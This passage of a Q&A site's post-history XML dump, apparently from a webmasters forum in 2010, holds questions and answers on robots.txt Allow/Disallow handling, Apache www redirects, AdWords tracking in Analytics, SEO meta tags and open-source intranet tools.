http://www.whatwg.org/specs/web-apps/current-work/multipage/grouping-content.html#the-figcaption-element&#xD;&#xA;  [5]: http://www.whatwg.org/specs/web-apps/current-work/multipage/embedded-content-1.html#a-phrase-or-paragraph-with-an-alternative-graphical-representation:-charts,-diagrams,-graphs,-maps,-illustrations" />
  <row Id="12320" PostHistoryTypeId="2" PostId="6170" RevisionGUID="c159bdc6-2635-4962-b0c0-383d22e1aef5" CreationDate="2010-12-01T21:33:25.313" UserId="483" Text="I have an Analytics account linked to my AdWords account, and have been using it to track progress of my campaigns.&#xD;&#xA;&#xD;&#xA;Now I've started an AdWords campaign with a third party, and would like to see their results in Analytics as well. My own campaign is stopped, but unfortunately the `google (cpc)` traffic source has zero hits.&#xD;&#xA;&#xD;&#xA;Nonetheless, the `google (organic)` results have increased significantly, which seems to indicate that those visitors are counted there. This is unfortunate in may ways, since I can't distinguish between real organic visitors and paid-for visitors.&#xD;&#xA;&#xD;&#xA;What can I do to differentiate between organic and paid-for visitors in case of an unlinked AdWords account?" />
  <row Id="12321" PostHistoryTypeId="1" PostId="6170" RevisionGUID="c159bdc6-2635-4962-b0c0-383d22e1aef5" CreationDate="2010-12-01T21:33:25.313" UserId="483" Text="Tracking AdWords  traffic from an unrelated account in Google Analytics" />
  <row Id="12322" PostHistoryTypeId="3" PostId="6170" RevisionGUID="c159bdc6-2635-4962-b0c0-383d22e1aef5" CreationDate="2010-12-01T21:33:25.313" UserId="483" Text="&lt;google-analytics&gt;&lt;adwords&gt;" />
  <row Id="12323" PostHistoryTypeId="2" PostId="6171" RevisionGUID="5e9431a0-fccc-4b1e-a155-9e55f1b76b15" CreationDate="2010-12-01T22:36:13.470" UserId="3595" Text="Looking for suggestions on a platform whether paid or open-source that would provide a intranet-like solution for document sharing, blog, events posting, etc.&#xD;&#xA;&#xD;&#xA;Google Apps/Doc is not an option, needs to look somewhat professional and hosted on our domain. Any suggestions or recommendations would be greatly appreciated. Thanks in advance." />
  <row Id="12324" PostHistoryTypeId="1" PostId="6171" RevisionGUID="5e9431a0-fccc-4b1e-a155-9e55f1b76b15" CreationDate="2010-12-01T22:36:13.470" UserId="3595" Text="In search of open source alternative to Sharepoint" />
  <row Id="12325" PostHistoryTypeId="3" PostId="6171" RevisionGUID="5e9431a0-fccc-4b1e-a155-9e55f1b76b15" CreationDate="2010-12-01T22:36:13.470" UserId="3595" Text="&lt;open-source&gt;&lt;intranet&gt;&lt;community&gt;" />
  <row Id="12326" PostHistoryTypeId="5" PostId="6169" RevisionGUID="827b0bbc-d344-4283-a0b9-677539fb4545" CreationDate="2010-12-01T22:46:50.357" UserId="745" Comment="added 143 characters in body" Text="You should take a look at &quot;[Never Mind The Bullets][1]&quot;, done using HTML5 and canvas. I'm not sure how accessible it is, but you might find it gives you some ideas. Keep in mind, however, that the HTML5 approach rules out IE8 and below (IE9 is fine). Depending on your audience, that could be a non-starter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nevermindthebullets.com/strip.html#1-1" />
  <row Id="12327" PostHistoryTypeId="2" PostId="6172" RevisionGUID="41058491-5574-46c3-a2bd-017a5d65fa11" CreationDate="2010-12-01T23:35:48.627" UserId="3594" Text="I run a fairly large-scale Web crawler.  We try very hard to operate the crawler within accepted community standards, and that includes respecting robots.txt.  We get very few complaints about the crawler, but when we do the majority are about our handling of robots.txt.   Most often the Webmaster made a mistake in his robots.txt and we kindly point out the error.  But periodically we run into grey areas that involve the handling of `Allow` and `Disallow`.&#xD;&#xA;&#xD;&#xA;The [robots.txt][1] page doesn't cover `Allow`.  I've seen other pages, some of which say that crawlers use a &quot;first matching&quot; rule, and others that don't specify.  That leads to some confusion.  For example, Google's page about robots.txt used to have this example:&#xD;&#xA;&#xD;&#xA;    User-agent: Googlebot&#xD;&#xA;    Disallow: /folder1/&#xD;&#xA;    Allow: /folder1/myfile.html&#xD;&#xA;&#xD;&#xA;Obviously, a &quot;first matching&quot; rule here wouldn't work because the crawler would see the `Disallow` and go away, never crawling the file that was specifically allowed.&#xD;&#xA;&#xD;&#xA;We're in the clear if we ignore all `Allow` lines, but then we might not crawl something that we're allowed to crawl.  We'll miss things.&#xD;&#xA;&#xD;&#xA;We've had great success by checking `Allow` first, and then checking `Disallow`, the idea being that `Allow` was intended to be more specific than `Disallow`.  That's because, by default (i.e. in the absence of instructions to the contrary), all access is allowed.  But then we run across something like this:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /norobots/&#xD;&#xA;    Allow: /&#xD;&#xA;&#xD;&#xA;The intent here is obvious, but that `Allow: /` will cause a bot that checks `Allow` first to think it can crawl anything on the site.&#xD;&#xA;&#xD;&#xA;Even that can be worked around in this case.  We can compare the matching `Allow` with the matching `Disallow` and determine that we're not allowed to crawl anything in /norobots/.  But that breaks down in the face of wildcards:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /norobots/&#xD;&#xA;    Allow: /*.html$&#xD;&#xA;&#xD;&#xA;The question, then, is the bot allowed to crawl `/norobots/index.html`?&#xD;&#xA;&#xD;&#xA;The &quot;first matching&quot; rule eliminates all ambiguity, but I often see sites that show something like the old Google example, putting the more specific `Allow` *after* the `Disallow`.  That syntax requires more processing by the bot and leads to ambiguities that can't be resolved.&#xD;&#xA;&#xD;&#xA;My question, then, is what's the right way to do things?  What do Webmasters expect from a well-behaved bot when it comes to robots.txt handling?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/orig.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12328" PostHistoryTypeId="1" PostId="6172" RevisionGUID="41058491-5574-46c3-a2bd-017a5d65fa11" CreationDate="2010-12-01T23:35:48.627" UserId="3594" Text="What's the proper way to handle Allow and Disallow in robots.txt?" />
  <row Id="12329" PostHistoryTypeId="3" PostId="6172" RevisionGUID="41058491-5574-46c3-a2bd-017a5d65fa11" CreationDate="2010-12-01T23:35:48.627" UserId="3594" Text="&lt;robots.txt&gt;" />
  <row Id="12331" PostHistoryTypeId="2" PostId="6173" RevisionGUID="b3c902e8-8344-4fb5-bb5d-b4bcf39a85ce" CreationDate="2010-12-02T03:12:51.323" UserId="1253" Text="Here's my take on what I see in those three examples.&#xD;&#xA;&#xD;&#xA;**Example 1**  &#xD;&#xA;I would ignore the entire `/folder1/` directory *except* the `myfile.html` file. Since they explicitly allow it I would assume it was simply easier to block the entire directory and explicitly allow that one file as opposed to listing every file they wanted to have blocked. If that directory contained a lot of files and subdirectories that robots.txt file could get unwieldy fast.&#xD;&#xA;&#xD;&#xA;**Example 2**  &#xD;&#xA;I would assume the `/norobots/` directory is off limits and everything else is available to be crawled. I read this as &quot;crawl everything except the /norobots/ directory&quot;.&#xD;&#xA;&#xD;&#xA;**Example 3**  &#xD;&#xA;Similar to example 2, I would assume the `/norobots/` directory is off limits and all `.html` files not in that directory is available to be crawled. I read this as &quot;crawl all .html files but do not crawl any content in the the /norobots/ directory&quot;.&#xD;&#xA;&#xD;&#xA;Hopefully your bot's user-agent contains a URL where they can find out more information about your crawling habits and make removal requests or give you feedback about how they want their robots.txt interpreted. " />
  <row Id="12332" PostHistoryTypeId="2" PostId="6174" RevisionGUID="f2b2a0f1-e57e-494d-8fff-3ac52bead2e6" CreationDate="2010-12-02T07:01:50.810" UserDisplayName="Sohel" Text="I'm not sure why you need the alternative. Anyway, as I know IBM-Websphere is java based solution which is an alternative for SharePoint." />
  <row Id="12333" PostHistoryTypeId="2" PostId="6175" RevisionGUID="5b883aae-c58d-4f48-ae0a-1d4b94c90890" CreationDate="2010-12-02T07:54:22.670" UserDisplayName="morpheous" Text="I dont understand why its taking so long for Bing to index pages on my site. After three weeks after I added (and verified) my site, I find Bing has only crawled 1 page and indexed only 26 pages. &#xD;&#xA;&#xD;&#xA;I found I had exactly the same problem with Yahoo. When I asked in here, someone recommended that I add my site to Bing, since the Yahoo SE was being replaced with Bing (or words to that effect). When I compare the indexing/crawling stats with the numbers I had with Google, the difference is mind blowing (and probably explains Googles current dominance in the SE space). Within 3 weeks, Google had already indexed upward of 800 pages. I can't believe that the Yahoo and Bing SEs are that bad compared to the Google SE - so what on earth is going on?&#xD;&#xA;&#xD;&#xA;Incidentally (as an aside to the main question), should the numbers not be the other way round - how come 1 page has been crawled but 26 pages indexed - dosen't seem to make sense.&#xD;&#xA;&#xD;&#xA;Incidentally, should the numbers not be the other way round - how come 1 page has been crawled but " />
  <row Id="12334" PostHistoryTypeId="1" PostId="6175" RevisionGUID="5b883aae-c58d-4f48-ae0a-1d4b94c90890" CreationDate="2010-12-02T07:54:22.670" UserDisplayName="morpheous" Text="Why has bing crawled only 1 page of my site after three weeks?" />
  <row Id="12335" PostHistoryTypeId="3" PostId="6175" RevisionGUID="5b883aae-c58d-4f48-ae0a-1d4b94c90890" CreationDate="2010-12-02T07:54:22.670" UserDisplayName="morpheous" Text="&lt;google&gt;&lt;search-engines&gt;&lt;bing&gt;" />
  <row Id="12336" PostHistoryTypeId="2" PostId="6176" RevisionGUID="68ff986b-6613-41ed-b287-a1cab370f8eb" CreationDate="2010-12-02T08:26:24.247" UserDisplayName="Andrej" Text="I'm doing a web site for a client, and he requested a PDF page flip on it.&#xD;&#xA;I've been looking for sometime, but can't quite find anything appropriate.&#xD;&#xA;&#xD;&#xA;I have the URLs to PDFs in my database, and I think the simplest way to implement this would be to just pass the URL to the PDF through HTML so it dynamically opens any PDF from the DB.&#xD;&#xA;&#xD;&#xA;Deas anybody have any good free PDF page flip engine?&#xD;&#xA;Thanks in advance for any input!&#xD;&#xA;&#xD;&#xA;Andrej" />
  <row Id="12337" PostHistoryTypeId="1" PostId="6176" RevisionGUID="68ff986b-6613-41ed-b287-a1cab370f8eb" CreationDate="2010-12-02T08:26:24.247" UserDisplayName="Andrej" Text="PDF page flip (open source)" />
  <row Id="12338" PostHistoryTypeId="3" PostId="6176" RevisionGUID="68ff986b-6613-41ed-b287-a1cab370f8eb" CreationDate="2010-12-02T08:26:24.247" UserDisplayName="Andrej" Text="&lt;flash&gt;" />
  <row Id="12339" PostHistoryTypeId="2" PostId="6177" RevisionGUID="7577eb3f-8421-4057-850e-3a2a45364c2f" CreationDate="2010-12-02T08:29:10.763" UserId="3461" Text="You might want to try [Knowledgetree][1], [Liferay][2] or [Alfresco][3]. Depends on your needs, but could even be good idea to use [Redmine][4], Drupal, or Joomla. It quite depends on the case, people to maintain it, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/knowledgetree&#xD;&#xA;  [2]: http://bitnami.org/stack/liferay&#xD;&#xA;  [3]: http://bitnami.org/stack/alfresco&#xD;&#xA;  [4]: http://bitnami.org/stack/redmine" />
  <row Id="12340" PostHistoryTypeId="2" PostId="6178" RevisionGUID="bee23e80-12a4-4989-ba44-769bce93caf4" CreationDate="2010-12-02T09:12:23.860" UserId="1089" Text="I'd advise investigating any trends in the bouncing visitors - how are they arriving at the website? Assuming its via a search engine, what terms are they searching for?&#xD;&#xA;&#xD;&#xA;If its a web page selling a product, is the pricing competitive?" />
  <row Id="12341" PostHistoryTypeId="2" PostId="6179" RevisionGUID="5593136d-80a2-4bed-962e-61714e0e99e3" CreationDate="2010-12-02T09:18:59.767" UserId="3461" Text="I was looking at this kind of stuff recently, but finally did not actually start the project. So these I have not really tried, but they did look among the best free solutions: http://www.flashpageflip.com/FreeFPF.asp ,which his free(has php and asp based pro versions, too) for commercial, but forces a tiny txt url link at bottom left (in some projects this does not really matter) , and this other one, not allowed in commercial projects : http://www.megazine3.de&#xD;&#xA;&#xD;&#xA;Besides that, there are many great services that even host for you the pdf and the conversion is automatically made by them, and served. &#xD;&#xA;&#xD;&#xA;Depending on bandwidth, time, etc, I'd go for just using a free converter like mentioned, grab the resulting swf files, host the swfs my self, embedding with the typical html tags. Probably would not be much complex to do some scripting in python, or other language, to automate it, if it's a lot of PDFs.&#xD;&#xA;&#xD;&#xA;EDIT: Sorry, did not pay attention to the &quot;open source&quot; requirement. Only Megazine, of the mentioned.&#xD;&#xA;" />
  <row Id="12342" PostHistoryTypeId="2" PostId="6180" RevisionGUID="9795337b-710b-4480-bd33-319165f49883" CreationDate="2010-12-02T09:32:31.183" UserId="3461" Text="Beware about one detail: JPGs when rendering text can be terrible. You will need to set your graphic software to export at a ***very*** high quality. If done so, is an ok route. PDF crashes/takes time to load in many browsers/machines, actually. But sometimes is the only option, it depends on the content, audience... The problem I see with HTML 5 is seems not yet fully adopted... You can go for some advanced flash solution, too (I just answered a pdf to flash flipbook question here)&#xD;&#xA;&#xD;&#xA;If going the JPG route, I'd advice irfanview.com, there you find a free utility great as a desktop image viewer but also batch converter with batch operations and filters. That could be essential for the JPG route." />
  <row Id="12343" PostHistoryTypeId="5" PostId="6180" RevisionGUID="731ae2d4-1f7e-421a-af05-45c02ce04da6" CreationDate="2010-12-02T09:37:42.690" UserId="3461" Comment="added 493 characters in body" Text="Beware about one detail: JPGs when rendering text can be terrible. You will need to set your graphic software to export at a ***very*** high quality. If done so, is an ok route. PDF crashes/takes time to load in many browsers/machines, actually. But sometimes is the only option, it depends on the content, audience... The problem I see with HTML 5 is seems not yet fully adopted... You can go for some advanced flash solution, too (I just answered a pdf to flash flipbook question here)&#xD;&#xA;&#xD;&#xA;If going the JPG route, I'd advice irfanview.com(allows also making small jpgs in Ks), there you find a free utility great as a desktop image viewer but also batch converter with batch operations and filters. That could be essential for the JPG route.&#xD;&#xA;&#xD;&#xA;edit: You speak about the &quot;leave as text&quot; option. If count on some programmer to help, go for some solution to proccess the text data and images to output formatted html, and that's all. I think there are some free utilities like this available, that export html. That'd remove the jpg text issue (but even if go for the all jpg route, actually, a big jpg might take less to load than a bloated pdf or other solution, and would be less crashy...)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12344" PostHistoryTypeId="2" PostId="6181" RevisionGUID="c2e54617-80ca-4b56-9548-5dccf3ae3bbd" CreationDate="2010-12-02T10:39:02.397" UserId="3307" Text="I very much doubt that rackspace would freeze a VM. I advice getting in touch with someone from support." />
  <row Id="12345" PostHistoryTypeId="2" PostId="6182" RevisionGUID="6e406bbb-b94f-4e1d-83a3-e71c4ee3c757" CreationDate="2010-12-02T12:47:53.973" UserId="3453" Text="One very important note: the **Allow** statement should come **before** the **Disallow** statement, no matter how specific your statements are.&#xD;&#xA;So in your third example - no, the bots won't crawl `/norobots/index.html`.&#xD;&#xA;&#xD;&#xA;Generally, as a personal rule, I put allow statements first and then I list the disallowed pages and folders." />
  <row Id="12346" PostHistoryTypeId="2" PostId="6183" RevisionGUID="072b6556-ba31-4d0b-927c-ea2dcc9ea2e4" CreationDate="2010-12-02T12:52:18.353" UserId="3453" Text="If you are curious, you can check the [Google's SEO Report Card][1]. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/docs/google-seo-report-card.pdf" />
  <row Id="12347" PostHistoryTypeId="2" PostId="6184" RevisionGUID="23abfb83-240f-4df1-8b38-7e7518ddd5a6" CreationDate="2010-12-02T13:09:30.133" UserId="3600" Text="For whatever reason I can't seem to get this right, I've looked at many examples on here and apache's website. I'm trying to force www.domain.com instead of domain.com on EITHER http or https but I am not trying to force https over http.&#xD;&#xA;&#xD;&#xA;the following code seems to work for all https connections but http will not redirect to www.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTPS} on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^ https://www.domain.com%{REQUEST_URI} [R=301]&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTPS} off&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^ http://www.domain.com%{REQUEST_URI} [R=301]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12348" PostHistoryTypeId="1" PostId="6184" RevisionGUID="23abfb83-240f-4df1-8b38-7e7518ddd5a6" CreationDate="2010-12-02T13:09:30.133" UserId="3600" Text="How do i force www subdomain on both https and http" />
  <row Id="12349" PostHistoryTypeId="3" PostId="6184" RevisionGUID="23abfb83-240f-4df1-8b38-7e7518ddd5a6" CreationDate="2010-12-02T13:09:30.133" UserId="3600" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;redirects&gt;&lt;url-rewriting&gt;" />
  <row Id="12350" PostHistoryTypeId="2" PostId="6185" RevisionGUID="d83a9012-eb26-4ec6-b41d-b8bec206a4c3" CreationDate="2010-12-02T13:23:36.017" UserId="3590" Text="im trying to make a new, modern, up to date chart of all meta tags, for all of us, with their purposes, their use and whether or not their good effects on search engines. I will add your comments into my question so this chart is always up to date!&#xD;&#xA;Also, it would be tremmendously cool to invent your own&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G yes&#xD;&#xA;    meta &quot;language&quot; = P tell what language is used N no G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;robots&quot; = P to index, follow or not - N no - G nothing&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;&#xD;&#xA;    meta &quot;breadcrums&quot; = I  invented: it will track where you are, like a sitemap tree" />
  <row Id="12351" PostHistoryTypeId="1" PostId="6185" RevisionGUID="d83a9012-eb26-4ec6-b41d-b8bec206a4c3" CreationDate="2010-12-02T13:23:36.017" UserId="3590" Text="New META TAGS with positive effects for seo ranking in 2011 and beyond" />
  <row Id="12352" PostHistoryTypeId="3" PostId="6185" RevisionGUID="d83a9012-eb26-4ec6-b41d-b8bec206a4c3" CreationDate="2010-12-02T13:23:36.017" UserId="3590" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;pagerank&gt;&lt;meta-keywords&gt;&lt;meta-description&gt;" />
  <row Id="12353" PostHistoryTypeId="2" PostId="6186" RevisionGUID="f1aef16c-06ef-4141-8062-da939fd3ad49" CreationDate="2010-12-02T13:24:49.667" UserId="2293" Text="Your solution seems right. But let me provide some checkpoints you can perform.&#xD;&#xA;&#xD;&#xA; - Are HTTP and HTTPS set to point to the same physical directory?&#xD;&#xA; - Have you tried asking on server fault?&#xD;&#xA; - Can you try using modifiers to check like&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTPS} = on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^ https://www.domain.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTPS} != on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^ http://www.domain.com%{REQUEST_URI} [R=301,L]" />
  <row Id="12354" PostHistoryTypeId="2" PostId="6187" RevisionGUID="4726afca-581e-4abe-b4ae-c180932a6203" CreationDate="2010-12-02T13:32:48.723" UserId="3453" Text="Try that:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %HTTPS off&#xD;&#xA;    RewriteCond Host: (?!www\.)(.+)&#xD;&#xA;    RewriteRule (.+) http\://www.$1$2 [I,RP]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %HTTPS on&#xD;&#xA;    RewriteCond Host: (?!www\.)(.+)&#xD;&#xA;    RewriteRule (.+) https\://www.$1$2 [I,RP]" />
  <row Id="12355" PostHistoryTypeId="2" PostId="6188" RevisionGUID="09a5cd48-bc9c-4ec2-911f-21dec9954b9a" CreationDate="2010-12-02T13:35:14.050" UserId="1429" Text="If to rank 1st it would suffice to cheat with the meta tags, Google results would be just an infinite long string with one single result because we would all rank in 1st position.&#xD;&#xA;&#xD;&#xA;IMHO META TAGS are old stuff for SEO, except for one the META DESCRIPTION.&#xD;&#xA;&#xD;&#xA;This is ignored by Google for ranking, but it's shown as a snippet in Google results. When it's well written it might lead to more people willing to click on the result that brings to your site.&#xD;&#xA;&#xD;&#xA;To go specifically to your table, `keywords` are ignored by Google too. And taking care to be 1st with serach engine other than Google is waste of time for two good reasons:&#xD;&#xA;&#xD;&#xA; 1. if you look ta the stats of any of&#xD;&#xA;    your websites I bet you only 1 on&#xD;&#xA;    1000 access come from a serach&#xD;&#xA;    engine that is not Google.&#xD;&#xA;    &#xD;&#xA; 2. When you are 1st in Google you&#xD;&#xA;    usually rank excellent also on other&#xD;&#xA;    searche engines.&#xD;&#xA;&#xD;&#xA;you don't need to set follow in a meta tags `robots`, serach engine look 1st if you have a robots.txt file unless you Disallow some pages there they will go on crawling your site, it's not that writing follow makes Google say: &quot;ohh, let's follow it because he suggests me to do it!&quot;&#xD;&#xA;&#xD;&#xA;The `language` tag cna bring bebefit to the browser, so I would use it anyway, without thinking at SEO.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12356" PostHistoryTypeId="2" PostId="6189" RevisionGUID="d786d20d-5585-416b-9cc6-1f95bb2cad42" CreationDate="2010-12-02T13:35:15.807" UserId="3453" Text="I consider only the description and robots tag for useful.&#xD;&#xA;The rest of them hardly add any value.&#xD;&#xA;&#xD;&#xA;Even the meta description tag is sometimes ignored by Google (unless a robots=&quot;noodp,noydir&quot; is specified) and uses description and/or title from the DMOZ and Yahoo! directories. I can give [this][1] as an example (check out the first result).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.bg/search?sourceid=chrome&amp;ie=UTF-8&amp;q=bagchee" />
  <row Id="12357" PostHistoryTypeId="2" PostId="6190" RevisionGUID="ebd8c74e-aa13-46c9-81e6-6870a4443238" CreationDate="2010-12-02T13:36:21.063" UserId="2293" Text="Dude, I'm really trying to not be a pain in the ass guy but... This seems to be useless just invent things.&#xD;&#xA;&#xD;&#xA;Yeah, I know, this can be one of two: just for fun (and see what other people that make web think) OR a real intention to create something to be used.&#xD;&#xA;&#xD;&#xA;If you are on the second option, I need to inform some paths you seem to ignore at this point: meta tags are standardized. And who makes standards at this moment are [W3C][1] and [WHATWG][2].&#xD;&#xA;&#xD;&#xA;So I'd recommend you to:&#xD;&#xA;&#xD;&#xA; 1. Read current specs and working drafts&#xD;&#xA; 2. Read development storyline for those specs. Sometimes you are proposing something that have been already denied, and for a good reason.&#xD;&#xA; 3. Join the mailing lists and propose what you think that should be good.&#xD;&#xA; 4. Before step above, read how people use to propose things. That will make other people hear you better.&#xD;&#xA; 5. Keep in mind that SEO isn't one of the concerns from standard-makers.&#xD;&#xA; 6. It would also great you know a bit of history of WHATWG. In a short: the leader is Ian Hixie, one of google heads.&#xD;&#xA;&#xD;&#xA;Good luck.&#xD;&#xA;&#xD;&#xA;  [1]: http://w3.org/&#xD;&#xA;  [2]: http://whatwg.org/" />
  <row Id="12358" PostHistoryTypeId="5" PostId="6185" RevisionGUID="2d23c3a8-1499-4990-8629-08b79d9718fa" CreationDate="2010-12-02T13:37:32.530" UserId="3590" Comment="added 3 characters in body" Text="im trying to make a new, modern, up to date chart of all meta tags, for all of us, with their purposes, their use and whether or not their good effects on search engines. I will add your comments into my question so this chart is always up to date!&#xD;&#xA;Also, it would be tremmendously cool to invent your own&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P tell what language is used N no G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;robots&quot; = P to index, follow or not - N no - G nothing&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;&#xD;&#xA;    meta &quot;breadcrums&quot; = I  invented: it will track where you are, like a sitemap tree" />
  <row Id="12359" PostHistoryTypeId="5" PostId="6188" RevisionGUID="cd922b61-fc55-44c4-80f1-a94ea2e8dcab" CreationDate="2010-12-02T13:42:39.783" UserId="1429" Comment="added 59 characters in body; added 63 characters in body" Text="If to rank 1st it would suffice to cheat with the meta tags, Google results would be just an infinite long string with one single result because we would all rank in 1st position.&#xD;&#xA;&#xD;&#xA;IMHO META TAGS are old stuff for SEO, except for one the META DESCRIPTION.&#xD;&#xA;&#xD;&#xA;This is ignored by Google for ranking, but it's shown as a snippet in Google results. When it's well written it might lead to more people willing to click on the result that brings to your site.&#xD;&#xA;&#xD;&#xA;To go specifically to your table, `keywords` are ignored by Google too. And taking care to be 1st with serach engine other than Google is waste of time for two good reasons:&#xD;&#xA;&#xD;&#xA; 1. if you look ta the stats of any of&#xD;&#xA;    your websites I bet only 1 on&#xD;&#xA;    1000 accesses come from a search&#xD;&#xA;    engine that is not Google.&#xD;&#xA;    &#xD;&#xA; 2. When you are 1st in Google you&#xD;&#xA;    usually rank excellent also on other&#xD;&#xA;    search engines.&#xD;&#xA;&#xD;&#xA;You don't need to set `index/follow` in a meta tags `robots` either, search engine look 1st if you have a robots.txt file unless you `Disallow` some pages there they will go on crawling your site, it's not that writing `follow` makes Google say: &quot;ohh, let's follow it because he suggests me to do it!&quot;&#xD;&#xA;&#xD;&#xA;The `language` tag can bring some benefit but I think Google is able to detcet the language of your page on its own, I use it to easily detect page language from JS, so I use it anyway without thinking at SEO.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12360" PostHistoryTypeId="5" PostId="6185" RevisionGUID="9ee2d9c5-fdaa-4178-bd28-24c569aa47a0" CreationDate="2010-12-02T13:43:05.990" UserId="3590" Comment="added 88 characters in body" Text="im trying to make a new, modern, up to date chart of all meta tags, for all of us, with their purposes, their use and whether or not their good effects on search engines. I will add your comments into my question so this chart is always up to date!&#xD;&#xA;Also, it would be tremmendously cool to invent your own&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P to index, follow or not, ant to not skip default dmoz/yahoodir&#xD;&#xA;&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P tell what language is used N no G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;&#xD;&#xA;    meta &quot;breadcrums&quot; = I  invented: it will track where you are, like a sitemap tree" />
  <row Id="12361" PostHistoryTypeId="2" PostId="6191" RevisionGUID="a1e70e31-7a2c-4667-b43e-faa9522f3826" CreationDate="2010-12-02T13:53:04.840" UserId="3453" Text="Create a parameter for your CPC links. In your AdWords ads, set your page URL to `something.php?source=cpc`.&#xD;&#xA;&#xD;&#xA;You can also use bit.ly links." />
  <row Id="12362" PostHistoryTypeId="2" PostId="6192" RevisionGUID="9e4d4393-42ff-4b5f-9c95-22f2d1b3e0c7" CreationDate="2010-12-02T14:00:38.077" UserId="3467" Text="I think this article really sums the current status of meta tags up well:&#xD;&#xA;[The wonderful world of meta tags][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/the-wonderful-world-of-seo-metatags?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+seomoz+(SEOmoz+Daily+Blog)" />
